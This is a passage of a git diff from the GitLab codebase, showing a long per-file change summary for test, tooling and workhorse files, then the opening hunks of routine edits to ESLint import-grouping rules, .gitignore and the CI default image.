-rw-r--r--spec/migrations/20210804150320_create_base_work_item_types_spec.rb22
-rw-r--r--spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb31
-rw-r--r--spec/migrations/20211101222614_consume_remaining_user_namespace_jobs_spec.rb21
-rw-r--r--spec/migrations/20211110143306_add_not_null_constraint_to_security_findings_uuid_spec.rb23
-rw-r--r--spec/migrations/20211110151350_schedule_drop_invalid_security_findings_spec.rb71
-rw-r--r--spec/migrations/20211116091751_change_namespace_type_default_to_user_spec.rb5
-rw-r--r--spec/migrations/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb191
-rw-r--r--spec/migrations/20211117084814_migrate_remaining_u2f_registrations_spec.rb43
-rw-r--r--spec/migrations/20211126115449_encrypt_static_objects_external_storage_auth_token_spec.rb56
-rw-r--r--spec/migrations/20211126204445_add_task_to_work_item_types_spec.rb54
-rw-r--r--spec/migrations/20211130165043_backfill_sequence_column_for_sprints_table_spec.rb42
-rw-r--r--spec/migrations/20211203091642_add_index_to_projects_on_marked_for_deletion_at_spec.rb18
-rw-r--r--spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb88
-rw-r--r--spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb44
-rw-r--r--spec/models/active_session_spec.rb535
-rw-r--r--spec/models/analytics/cycle_analytics/project_stage_spec.rb25
-rw-r--r--spec/models/application_setting_spec.rb28
-rw-r--r--spec/models/bulk_imports/entity_spec.rb56
-rw-r--r--spec/models/chat_name_spec.rb4
-rw-r--r--spec/models/ci/build_spec.rb49
-rw-r--r--spec/models/ci/job_artifact_spec.rb4
-rw-r--r--spec/models/ci/namespace_mirror_spec.rb94
-rw-r--r--spec/models/ci/pending_build_spec.rb12
-rw-r--r--spec/models/ci/pipeline_spec.rb96
-rw-r--r--spec/models/ci/project_mirror_spec.rb36
-rw-r--r--spec/models/ci/runner_namespace_spec.rb6
-rw-r--r--spec/models/ci/runner_project_spec.rb6
-rw-r--r--spec/models/ci/runner_spec.rb271
-rw-r--r--spec/models/ci/stage_spec.rb12
-rw-r--r--spec/models/clusters/agent_spec.rb33
-rw-r--r--spec/models/clusters/agent_token_spec.rb32
-rw-r--r--spec/models/clusters/agents/activity_event_spec.rb32
-rw-r--r--spec/models/clusters/applications/runner_spec.rb57
-rw-r--r--spec/models/clusters/platforms/kubernetes_spec.rb29
-rw-r--r--spec/models/commit_signatures/gpg_signature_spec.rb126
-rw-r--r--spec/models/commit_signatures/x509_commit_signature_spec.rb67
-rw-r--r--spec/models/commit_spec.rb62
-rw-r--r--spec/models/commit_status_spec.rb86
-rw-r--r--spec/models/concerns/after_commit_queue_spec.rb128
-rw-r--r--spec/models/concerns/calloutable_spec.rb26
-rw-r--r--spec/models/concerns/case_sensitivity_spec.rb5
-rw-r--r--spec/models/concerns/group_descendant_spec.rb6
-rw-r--r--spec/models/concerns/loose_foreign_key_spec.rb66
-rw-r--r--spec/models/concerns/participable_spec.rb74
-rw-r--r--spec/models/concerns/routable_spec.rb117
-rw-r--r--spec/models/concerns/sha_attribute_spec.rb2
-rw-r--r--spec/models/concerns/transactions_spec.rb21
-rw-r--r--spec/models/container_repository_spec.rb33
-rw-r--r--spec/models/customer_relations/contact_spec.rb23
-rw-r--r--spec/models/customer_relations/issue_contact_spec.rb28
-rw-r--r--spec/models/deployment_metrics_spec.rb2
-rw-r--r--spec/models/deployment_spec.rb114
-rw-r--r--spec/models/dev_ops_report/metric_spec.rb7
-rw-r--r--spec/models/environment_spec.rb6
-rw-r--r--spec/models/event_spec.rb2
-rw-r--r--spec/models/external_pull_request_spec.rb4
-rw-r--r--spec/models/gpg_signature_spec.rb126
-rw-r--r--spec/models/group_spec.rb45
-rw-r--r--spec/models/hooks/web_hook_spec.rb87
-rw-r--r--spec/models/incident_management/issuable_escalation_status_spec.rb1
-rw-r--r--spec/models/instance_configuration_spec.rb6
-rw-r--r--spec/models/integrations/jira_spec.rb2
-rw-r--r--spec/models/integrations/microsoft_teams_spec.rb13
-rw-r--r--spec/models/integrations/shimo_spec.rb22
-rw-r--r--spec/models/issue/email_spec.rb19
-rw-r--r--spec/models/issue_spec.rb31
-rw-r--r--spec/models/lfs_objects_project_spec.rb22
-rw-r--r--spec/models/loose_foreign_keys/deleted_record_spec.rb149
-rw-r--r--spec/models/member_spec.rb2
-rw-r--r--spec/models/merge_request/metrics_spec.rb6
-rw-r--r--spec/models/merge_request_assignee_spec.rb12
-rw-r--r--spec/models/merge_request_reviewer_spec.rb12
-rw-r--r--spec/models/merge_request_spec.rb18
-rw-r--r--spec/models/namespace/traversal_hierarchy_spec.rb2
-rw-r--r--spec/models/namespace_spec.rb158
-rw-r--r--spec/models/packages/build_info_spec.rb42
-rw-r--r--spec/models/packages/conan/metadatum_spec.rb49
-rw-r--r--spec/models/postgresql/replication_slot_spec.rb20
-rw-r--r--spec/models/preloaders/group_root_ancestor_preloader_spec.rb63
-rw-r--r--spec/models/project_authorization_spec.rb67
-rw-r--r--spec/models/project_spec.rb183
-rw-r--r--spec/models/project_team_spec.rb1
-rw-r--r--spec/models/repository_spec.rb10
-rw-r--r--spec/models/snippet_spec.rb45
-rw-r--r--spec/models/terraform/state_version_spec.rb5
-rw-r--r--spec/models/timelog_spec.rb12
-rw-r--r--spec/models/u2f_registration_spec.rb19
-rw-r--r--spec/models/user_callout_spec.rb14
-rw-r--r--spec/models/user_spec.rb218
-rw-r--r--spec/models/users/callout_spec.rb14
-rw-r--r--spec/models/users/calloutable_spec.rb26
-rw-r--r--spec/models/work_item/type_spec.rb4
-rw-r--r--spec/models/x509_commit_signature_spec.rb67
-rw-r--r--spec/policies/clusters/agents/activity_event_policy_spec.rb31
-rw-r--r--spec/policies/group_policy_spec.rb80
-rw-r--r--spec/policies/namespaces/project_namespace_policy_spec.rb4
-rw-r--r--spec/policies/namespaces/user_namespace_policy_spec.rb30
-rw-r--r--spec/presenters/blob_presenter_spec.rb36
-rw-r--r--spec/presenters/ci/pipeline_presenter_spec.rb24
-rw-r--r--spec/presenters/merge_request_presenter_spec.rb24
-rw-r--r--spec/presenters/packages/npm/package_presenter_spec.rb21
-rw-r--r--spec/presenters/projects/security/configuration_presenter_spec.rb301
-rw-r--r--spec/requests/admin/integrations_controller_spec.rb50
-rw-r--r--spec/requests/admin/version_check_controller_spec.rb50
-rw-r--r--spec/requests/api/admin/plan_limits_spec.rb7
-rw-r--r--spec/requests/api/ci/job_artifacts_spec.rb661
-rw-r--r--spec/requests/api/ci/jobs_spec.rb605
-rw-r--r--spec/requests/api/ci/pipelines_spec.rb5
-rw-r--r--spec/requests/api/ci/runner/jobs_artifacts_spec.rb12
-rw-r--r--spec/requests/api/ci/runner/jobs_request_post_spec.rb4
-rw-r--r--spec/requests/api/ci/runner/runners_post_spec.rb64
-rw-r--r--spec/requests/api/ci/runners_spec.rb29
-rw-r--r--spec/requests/api/commit_statuses_spec.rb34
-rw-r--r--spec/requests/api/commits_spec.rb4
-rw-r--r--spec/requests/api/composer_packages_spec.rb14
-rw-r--r--spec/requests/api/conan_project_packages_spec.rb5
-rw-r--r--spec/requests/api/dependency_proxy_spec.rb22
-rw-r--r--spec/requests/api/error_tracking/collector_spec.rb12
-rw-r--r--spec/requests/api/graphql/boards/board_list_issues_query_spec.rb46
-rw-r--r--spec/requests/api/graphql/boards/board_list_query_spec.rb33
-rw-r--r--spec/requests/api/graphql/boards/board_lists_query_spec.rb8
-rw-r--r--spec/requests/api/graphql/ci/jobs_spec.rb95
-rw-r--r--spec/requests/api/graphql/ci/pipelines_spec.rb12
-rw-r--r--spec/requests/api/graphql/ci/runner_spec.rb50
-rw-r--r--spec/requests/api/graphql/ci/runners_spec.rb9
-rw-r--r--spec/requests/api/graphql/container_repository/container_repository_details_spec.rb82
-rw-r--r--spec/requests/api/graphql/current_user/todos_query_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/design_management/delete_spec.rb2
-rw-r--r--spec/requests/api/graphql/mutations/issues/set_crm_contacts_spec.rb16
-rw-r--r--spec/requests/api/graphql/mutations/user_callouts/create_spec.rb2
-rw-r--r--spec/requests/api/graphql/packages/package_spec.rb87
-rw-r--r--spec/requests/api/graphql/project/cluster_agents_spec.rb35
-rw-r--r--spec/requests/api/graphql/project/jobs_spec.rb56
-rw-r--r--spec/requests/api/graphql/project/pipeline_spec.rb42
-rw-r--r--spec/requests/api/graphql/project_query_spec.rb34
-rw-r--r--spec/requests/api/groups_spec.rb140
-rw-r--r--spec/requests/api/import_github_spec.rb6
-rw-r--r--spec/requests/api/invitations_spec.rb18
-rw-r--r--spec/requests/api/issues/get_project_issues_spec.rb2
-rw-r--r--spec/requests/api/labels_spec.rb16
-rw-r--r--spec/requests/api/markdown_golden_master_spec.rb9
-rw-r--r--spec/requests/api/members_spec.rb31
-rw-r--r--spec/requests/api/project_import_spec.rb2
-rw-r--r--spec/requests/api/projects_spec.rb23
-rw-r--r--spec/requests/api/repositories_spec.rb69
-rw-r--r--spec/requests/api/search_spec.rb17
-rw-r--r--spec/requests/api/settings_spec.rb9
-rw-r--r--spec/requests/api/terraform/state_spec.rb10
-rw-r--r--spec/requests/api/todos_spec.rb2
-rw-r--r--spec/requests/api/topics_spec.rb40
-rw-r--r--spec/requests/api/v3/github_spec.rb12
-rw-r--r--spec/requests/groups/crm/contacts_controller_spec.rb101
-rw-r--r--spec/requests/groups/crm/organizations_controller_spec.rb91
-rw-r--r--spec/requests/lfs_http_spec.rb40
-rw-r--r--spec/requests/openid_connect_spec.rb10
-rw-r--r--spec/requests/projects/google_cloud/service_accounts_controller_spec.rb184
-rw-r--r--spec/requests/projects/integrations/shimos_controller_spec.rb37
-rw-r--r--spec/requests/projects/merge_requests/context_commit_diffs_spec.rb99
-rw-r--r--spec/requests/projects/merge_requests/diffs_spec.rb1
-rw-r--r--spec/requests/projects/usage_quotas_spec.rb10
-rw-r--r--spec/requests/rack_attack_global_spec.rb28
-rw-r--r--spec/routing/notifications_routing_spec.rb5
-rw-r--r--spec/rubocop/code_reuse_helpers_spec.rb75
-rw-r--r--spec/rubocop/cop/graphql/authorize_types_spec.rb2
-rw-r--r--spec/rubocop/cop/graphql/old_types_spec.rb16
-rw-r--r--spec/rubocop/cop/qa/testcase_link_format_spec.rb45
-rw-r--r--spec/rubocop/cop/static_translation_definition_spec.rb16
-rw-r--r--spec/serializers/build_details_entity_spec.rb6
-rw-r--r--spec/serializers/build_serializer_spec.rb63
-rw-r--r--spec/serializers/ci/job_entity_spec.rb237
-rw-r--r--spec/serializers/ci/job_serializer_spec.rb63
-rw-r--r--spec/serializers/ci/pipeline_entity_spec.rb12
-rw-r--r--spec/serializers/deployment_entity_spec.rb4
-rw-r--r--spec/serializers/job_entity_spec.rb237
-rw-r--r--spec/serializers/merge_request_widget_entity_spec.rb4
-rw-r--r--spec/serializers/merge_requests/pipeline_entity_spec.rb5
-rw-r--r--spec/services/admin/propagate_integration_service_spec.rb95
-rw-r--r--spec/services/authorized_project_update/find_records_due_for_refresh_service_spec.rb12
-rw-r--r--spec/services/bulk_imports/tree_export_service_spec.rb23
-rw-r--r--spec/services/bulk_imports/uploads_export_service_spec.rb24
-rw-r--r--spec/services/ci/create_pipeline_service/logger_spec.rb139
-rw-r--r--spec/services/ci/create_pipeline_service/tags_spec.rb173
-rw-r--r--spec/services/ci/create_pipeline_service_spec.rb110
-rw-r--r--spec/services/ci/expire_pipeline_cache_service_spec.rb54
-rw-r--r--spec/services/ci/generate_terraform_reports_service_spec.rb2
-rw-r--r--spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb40
-rw-r--r--spec/services/ci/job_artifacts/destroy_batch_service_spec.rb85
-rw-r--r--spec/services/ci/parse_dotenv_artifact_service_spec.rb40
-rw-r--r--spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb1102
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service.rb1040
-rw-r--r--spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb61
-rw-r--r--spec/services/ci/play_build_service_spec.rb17
-rw-r--r--spec/services/ci/process_sync_events_service_spec.rb129
-rw-r--r--spec/services/ci/register_job_service_spec.rb106
-rw-r--r--spec/services/ci/retry_build_service_spec.rb27
-rw-r--r--spec/services/ci/stuck_builds/drop_pending_service_spec.rb46
-rw-r--r--spec/services/ci/update_pending_build_service_spec.rb8
-rw-r--r--spec/services/clusters/agent_tokens/create_service_spec.rb19
-rw-r--r--spec/services/clusters/cleanup/project_namespace_service_spec.rb26
-rw-r--r--spec/services/clusters/cleanup/service_account_service_spec.rb14
-rw-r--r--spec/services/clusters/integrations/prometheus_health_check_service_spec.rb2
-rw-r--r--spec/services/concerns/audit_event_save_type_spec.rb28
-rw-r--r--spec/services/dependency_proxy/find_cached_manifest_service_spec.rb123
-rw-r--r--spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb161
-rw-r--r--spec/services/dependency_proxy/pull_manifest_service_spec.rb77
-rw-r--r--spec/services/deployments/older_deployments_drop_service_spec.rb2
-rw-r--r--spec/services/events/destroy_service_spec.rb50
-rw-r--r--spec/services/feature_flags/create_service_spec.rb20
-rw-r--r--spec/services/feature_flags/update_service_spec.rb20
-rw-r--r--spec/services/git/branch_push_service_spec.rb38
-rw-r--r--spec/services/git/process_ref_changes_service_spec.rb44
-rw-r--r--spec/services/google_cloud/service_accounts_service_spec.rb69
-rw-r--r--spec/services/groups/create_service_spec.rb10
-rw-r--r--spec/services/groups/transfer_service_spec.rb2
-rw-r--r--spec/services/groups/update_shared_runners_service_spec.rb6
-rw-r--r--spec/services/import/github_service_spec.rb33
-rw-r--r--spec/services/incident_management/issuable_escalation_statuses/create_service_spec.rb30
-rw-r--r--spec/services/integrations/propagate_service_spec.rb95
-rw-r--r--spec/services/issues/create_service_spec.rb24
-rw-r--r--spec/services/issues/set_crm_contacts_service_spec.rb88
-rw-r--r--spec/services/issues/update_service_spec.rb14
-rw-r--r--spec/services/loose_foreign_keys/batch_cleaner_service_spec.rb59
-rw-r--r--spec/services/loose_foreign_keys/cleaner_service_spec.rb25
-rw-r--r--spec/services/members/create_service_spec.rb74
-rw-r--r--spec/services/merge_requests/after_create_service_spec.rb56
-rw-r--r--spec/services/merge_requests/approval_service_spec.rb10
-rw-r--r--spec/services/merge_requests/bulk_remove_attention_requested_service_spec.rb45
-rw-r--r--spec/services/merge_requests/close_service_spec.rb4
-rw-r--r--spec/services/merge_requests/handle_assignees_change_service_spec.rb8
-rw-r--r--spec/services/merge_requests/merge_service_spec.rb2
-rw-r--r--spec/services/merge_requests/merge_to_ref_service_spec.rb5
-rw-r--r--spec/services/merge_requests/rebase_service_spec.rb21
-rw-r--r--spec/services/merge_requests/remove_attention_requested_service_spec.rb85
-rw-r--r--spec/services/merge_requests/resolved_discussion_notification_service_spec.rb12
-rw-r--r--spec/services/merge_requests/squash_service_spec.rb32
-rw-r--r--spec/services/merge_requests/toggle_attention_requested_service_spec.rb39
-rw-r--r--spec/services/notification_service_spec.rb39
-rw-r--r--spec/services/packages/debian/update_distribution_service_spec.rb4
-rw-r--r--spec/services/packages/npm/create_package_service_spec.rb11
-rw-r--r--spec/services/projects/destroy_service_spec.rb129
-rw-r--r--spec/services/projects/prometheus/alerts/create_service_spec.rb2
-rw-r--r--spec/services/projects/prometheus/alerts/destroy_service_spec.rb2
-rw-r--r--spec/services/projects/prometheus/alerts/update_service_spec.rb2
-rw-r--r--spec/services/projects/transfer_service_spec.rb4
-rw-r--r--spec/services/protected_tags/create_service_spec.rb39
-rw-r--r--spec/services/protected_tags/update_service_spec.rb39
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb48
-rw-r--r--spec/services/repositories/changelog_service_spec.rb31
-rw-r--r--spec/services/search_service_spec.rb104
-rw-r--r--spec/services/service_ping/submit_service_ping_service_spec.rb19
-rw-r--r--spec/services/system_note_service_spec.rb42
-rw-r--r--spec/services/system_notes/commit_service_spec.rb2
-rw-r--r--spec/services/system_notes/issuables_service_spec.rb78
-rw-r--r--spec/services/todos/destroy/private_features_service_spec.rb145
-rw-r--r--spec/services/todos/destroy/unauthorized_features_service_spec.rb145
-rw-r--r--spec/services/users/dismiss_callout_service_spec.rb20
-rw-r--r--spec/services/users/dismiss_user_callout_service_spec.rb20
-rw-r--r--spec/services/users/refresh_authorized_projects_service_spec.rb39
-rw-r--r--spec/services/verify_pages_domain_service_spec.rb3
-rw-r--r--spec/sidekiq_cluster/sidekiq_cluster_spec.rb135
-rw-r--r--spec/simplecov_env.rb12
-rw-r--r--spec/spec_helper.rb17
-rw-r--r--spec/support/database/cross-database-modification-allowlist.yml59
-rw-r--r--spec/support/database/multiple_databases.rb37
-rw-r--r--spec/support/database/prevent_cross_joins.rb10
-rw-r--r--spec/support/database/query_analyzer.rb12
-rw-r--r--spec/support/flaky_tests.rb2
-rw-r--r--spec/support/frontend_fixtures.rb16
-rw-r--r--spec/support/graphql/fake_query_type.rb9
-rw-r--r--spec/support/graphql/field_inspection.rb2
-rw-r--r--spec/support/helpers/api_helpers.rb4
-rw-r--r--spec/support/helpers/features/invite_members_modal_helper.rb10
-rw-r--r--spec/support/helpers/gitaly_setup.rb16
-rw-r--r--spec/support/helpers/gpg_helpers.rb8
-rw-r--r--spec/support/helpers/graphql_helpers.rb9
-rw-r--r--spec/support/helpers/javascript_fixtures_helpers.rb6
-rw-r--r--spec/support/helpers/memory_usage_helper.rb2
-rw-r--r--spec/support/helpers/migrations_helpers/work_item_types_helper.rb27
-rw-r--r--spec/support/helpers/modal_helpers.rb27
-rw-r--r--spec/support/helpers/navbar_structure_helper.rb11
-rw-r--r--spec/support/helpers/session_helpers.rb4
-rw-r--r--spec/support/helpers/snowplow_helpers.rb14
-rw-r--r--spec/support/helpers/stub_gitlab_calls.rb2
-rw-r--r--spec/support/helpers/test_env.rb4
-rw-r--r--spec/support/matchers/background_migrations_matchers.rb6
-rw-r--r--spec/support/redis/redis_helpers.rb7
-rw-r--r--spec/support/redis/redis_new_instance_shared_examples.rb8
-rw-r--r--spec/support/redis/redis_shared_examples.rb21
-rw-r--r--spec/support/rspec.rb5
-rw-r--r--spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb2
-rw-r--r--spec/support/shared_contexts/markdown_golden_master_shared_examples.rb127
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb11
-rw-r--r--spec/support/shared_contexts/policies/group_policy_shared_context.rb1
-rw-r--r--spec/support/shared_examples/bulk_imports/common/pipelines/wiki_pipeline_examples.rb25
-rw-r--r--spec/support/shared_examples/ci/create_pipeline_service_shared_examples.rb27
-rw-r--r--spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb30
-rw-r--r--spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/controllers/unique_visits_shared_examples.rb16
-rw-r--r--spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/csp.rb6
-rw-r--r--spec/support/shared_examples/features/page_description_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/features/sidebar/sidebar_due_date_shared_examples.rb30
-rw-r--r--spec/support/shared_examples/features/sidebar/sidebar_milestone_shared_examples.rb60
-rw-r--r--spec/support/shared_examples/features/sidebar_shared_examples.rb9
-rw-r--r--spec/support/shared_examples/features/snippets_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb21
-rw-r--r--spec/support/shared_examples/features/wiki/user_views_wiki_page_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb108
-rw-r--r--spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/lib/gitlab/import_export/attributes_permitter_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/lib/gitlab/redis/multi_store_feature_flags_shared_examples.rb43
-rw-r--r--spec/support/shared_examples/loose_foreign_keys/have_loose_foreign_key.rb50
-rw-r--r--spec/support/shared_examples/mailers/notify_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb42
-rw-r--r--spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb22
-rw-r--r--spec/support/shared_examples/models/chat_integration_shared_examples.rb12
-rw-r--r--spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb8
-rw-r--r--spec/support/shared_examples/models/member_shared_examples.rb8
-rw-r--r--spec/support/shared_examples/models/packages/debian/component_file_shared_example.rb18
-rw-r--r--spec/support/shared_examples/namespaces/traversal_examples.rb52
-rw-r--r--spec/support/shared_examples/namespaces/traversal_scope_examples.rb19
-rw-r--r--spec/support/shared_examples/requests/api/composer_packages_shared_examples.rb62
-rw-r--r--spec/support/shared_examples/requests/api/conan_packages_shared_examples.rb60
-rw-r--r--spec/support/shared_examples/requests/api/graphql/mutations/snippets_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/requests/api/graphql/packages/group_and_project_packages_list_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/requests/api/issuable_participants_examples.rb30
-rw-r--r--spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb20
-rw-r--r--spec/support/shared_examples/workers/background_migration_worker_shared_examples.rb212
-rw-r--r--spec/support_specs/database/multiple_databases_spec.rb39
-rw-r--r--spec/support_specs/database/prevent_cross_joins_spec.rb9
-rw-r--r--spec/support_specs/helpers/graphql_helpers_spec.rb15
-rw-r--r--spec/tasks/gitlab/background_migrations_rake_spec.rb49
-rw-r--r--spec/tasks/gitlab/cleanup_rake_spec.rb18
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb75
-rw-r--r--spec/tasks/gitlab/gitaly_rake_spec.rb30
-rw-r--r--spec/tasks/gitlab/task_helpers_spec.rb2
-rw-r--r--spec/tooling/danger/product_intelligence_spec.rb14
-rw-r--r--spec/tooling/danger/project_helper_spec.rb110
-rw-r--r--spec/tooling/danger/specs_spec.rb2
-rw-r--r--spec/tooling/graphql/docs/renderer_spec.rb4
-rw-r--r--spec/tooling/quality/test_level_spec.rb4
-rw-r--r--spec/tooling/rspec_flaky/flaky_example_spec.rb76
-rw-r--r--spec/tooling/rspec_flaky/flaky_examples_collection_spec.rb28
-rw-r--r--spec/tooling/rspec_flaky/listener_spec.rb7
-rw-r--r--spec/tooling/rspec_flaky/report_spec.rb4
-rw-r--r--spec/views/admin/application_settings/_package_registry.html.haml_spec.rb3
-rw-r--r--spec/views/groups/new.html.haml_spec.rb28
-rw-r--r--spec/views/groups/runners/_group_runners.html.haml_spec.rb5
-rw-r--r--spec/views/jira_connect/subscriptions/index.html.haml_spec.rb30
-rw-r--r--spec/views/layouts/_head.html.haml_spec.rb2
-rw-r--r--spec/views/layouts/header/_new_dropdown.haml_spec.rb31
-rw-r--r--spec/views/profiles/keys/_form.html.haml_spec.rb4
-rw-r--r--spec/views/projects/buttons/_dropdown.html.haml_spec.rb42
-rw-r--r--spec/views/projects/edit.html.haml_spec.rb16
-rw-r--r--spec/views/projects/hooks/edit.html.haml_spec.rb58
-rw-r--r--spec/views/projects/hooks/index.html.haml_spec.rb62
-rw-r--r--spec/views/projects/jobs/show.html.haml_spec.rb37
-rw-r--r--spec/views/shared/runners/_runner_details.html.haml_spec.rb4
-rw-r--r--spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb4
-rw-r--r--spec/workers/background_migration_worker_spec.rb145
-rw-r--r--spec/workers/build_hooks_worker_spec.rb8
-rw-r--r--spec/workers/bulk_imports/entity_worker_spec.rb170
-rw-r--r--spec/workers/bulk_imports/pipeline_worker_spec.rb43
-rw-r--r--spec/workers/ci/pending_builds/update_group_worker_spec.rb40
-rw-r--r--spec/workers/ci/pending_builds/update_project_worker_spec.rb40
-rw-r--r--spec/workers/concerns/application_worker_spec.rb53
-rw-r--r--spec/workers/create_commit_signature_worker_spec.rb4
-rw-r--r--spec/workers/every_sidekiq_worker_spec.rb1
-rw-r--r--spec/workers/issuable_export_csv_worker_spec.rb11
-rw-r--r--spec/workers/issue_placement_worker_spec.rb6
-rw-r--r--spec/workers/issues/placement_worker_spec.rb2
-rw-r--r--spec/workers/issues/rebalancing_worker_spec.rb14
-rw-r--r--spec/workers/issues/reschedule_stuck_issue_rebalances_worker_spec.rb6
-rw-r--r--spec/workers/loose_foreign_keys/cleanup_worker_spec.rb77
-rw-r--r--spec/workers/namespaces/process_sync_events_worker_spec.rb32
-rw-r--r--spec/workers/projects/process_sync_events_worker_spec.rb28
-rw-r--r--spec/workers/propagate_integration_worker_spec.rb2
-rw-r--r--spec/workers/purge_dependency_proxy_cache_worker_spec.rb31
-rw-r--r--spec/workers/todos_destroyer/private_features_worker_spec.rb2
-rwxr-xr-xtooling/bin/find_changes79
-rwxr-xr-xtooling/bin/qa/check_if_qa_only_spec_changes22
-rw-r--r--tooling/danger/changelog.rb6
-rw-r--r--tooling/danger/product_intelligence.rb19
-rw-r--r--tooling/danger/project_helper.rb29
-rw-r--r--tooling/quality/test_level.rb2
-rw-r--r--tooling/rspec_flaky/example.rb10
-rw-r--r--tooling/rspec_flaky/flaky_example.rb57
-rw-r--r--tooling/rspec_flaky/flaky_examples_collection.rb2
-rw-r--r--tooling/rspec_flaky/listener.rb7
-rw-r--r--tooling/rspec_flaky/report.rb11
-rw-r--r--workhorse/.tool-versions2
-rw-r--r--workhorse/cmd/gitlab-zip-cat/main.go2
-rw-r--r--workhorse/go.mod1
-rw-r--r--workhorse/go.sum2
-rw-r--r--workhorse/internal/api/api_test.go2
-rw-r--r--workhorse/internal/artifacts/artifacts_upload_test.go2
-rw-r--r--workhorse/internal/testhelper/testhelper.go17
-rw-r--r--workhorse/internal/upload/rewrite.go10
-rw-r--r--workhorse/internal/upload/saved_file_tracker.go4
-rw-r--r--workhorse/internal/upload/saved_file_tracker_test.go11
-rw-r--r--workhorse/internal/upload/uploads.go4
-rw-r--r--workhorse/internal/upload/uploads_test.go10
-rw-r--r--workhorse/internal/upstream/metrics.go14
-rw-r--r--workhorse/internal/upstream/metrics_test.go54
-rw-r--r--workhorse/internal/upstream/routes.go22
-rw-r--r--workhorse/internal/upstream/upstream.go4
-rw-r--r--workhorse/internal/upstream/upstream_test.go14
-rw-r--r--workhorse/internal/zipartifacts/metadata.go3
-rw-r--r--workhorse/internal/zipartifacts/metadata_test.go2
-rw-r--r--workhorse/internal/zipartifacts/open_archive.go2
-rw-r--r--workhorse/internal/zipartifacts/open_archive_test.go8
-rw-r--r--workhorse/sendfile_test.go8
-rw-r--r--yarn.lock460
5142 files changed, 184601 insertions, 102867 deletions
diff --git a/.eslintrc.yml b/.eslintrc.yml
index 623c1a66301..0f73a9c5105 100644
--- a/.eslintrc.yml
+++ b/.eslintrc.yml
@@ -63,11 +63,11 @@ rules:
group: internal
- pattern: emojis/**
group: internal
- - pattern: '{ee_,}empty_states/**'
+ - pattern: '{ee_,jh_,}empty_states/**'
group: internal
- - pattern: '{ee_,}icons/**'
+ - pattern: '{ee_,jh_,}icons/**'
group: internal
- - pattern: '{ee_,}images/**'
+ - pattern: '{ee_,jh_,}images/**'
group: internal
- pattern: vendor/**
group: internal
@@ -75,13 +75,17 @@ rules:
group: internal
- pattern: '{ee_,}spec/**'
group: internal
- - pattern: '{ee_,}jest/**'
+ - pattern: '{ee_,jh_,}jest/**'
group: internal
- - pattern: ee_else_ce/**
+ - pattern: '{ee_,jh_,any_}else_ce/**'
group: internal
- pattern: ee/**
group: internal
- - pattern: ee_component/**
+ - pattern: '{ee_,jh_,}component/**'
+ group: internal
+ - pattern: jh_else_ee/**
+ group: internal
+ - pattern: jh/**
group: internal
- pattern: '{test_,}helpers/**'
group: internal
@@ -120,9 +124,9 @@ overrides:
parserOptions:
parser: '@graphql-eslint/eslint-plugin'
operations:
- - '{,ee/,jh/}app/**/*.graphql'
- # You can run `bundle exec rake gitlab:graphql:schema:dump` and then uncomment this line
- # schema: './tmp/tests/graphql/gitlab_schema.graphql'
+ - '{,ee/,jh/}app/**/*.graphql'
+ # You can run `bundle exec rake gitlab:graphql:schema:dump` and then uncomment this line
+ # schema: './tmp/tests/graphql/gitlab_schema.graphql'
rules:
filenames/match-regex: off
spaced-comment: off
@@ -134,3 +138,4 @@ overrides:
#'@graphql-eslint/known-type-names': error
'@graphql-eslint/no-anonymous-operations': error
'@graphql-eslint/unique-operation-name': error
+ '@graphql-eslint/require-id-when-available': error
diff --git a/.gitignore b/.gitignore
index bff82967fc6..0a7808601ea 100644
--- a/.gitignore
+++ b/.gitignore
@@ -95,7 +95,6 @@ jsdoc/
webpack-dev-server.json
/.nvimrc
.solargraph.yml
-apollo.config.js
/tmp/matching_foss_tests.txt
/tmp/matching_tests.txt
ee/changelogs/unreleased-ee
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index e810edd8133..405346d68da 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -16,7 +16,7 @@ stages:
# in cases where jobs require Docker-in-Docker, the job
# definition must be extended with `.use-docker-in-docker`
default:
- image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.patched-golang-1.16-git-2.33-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
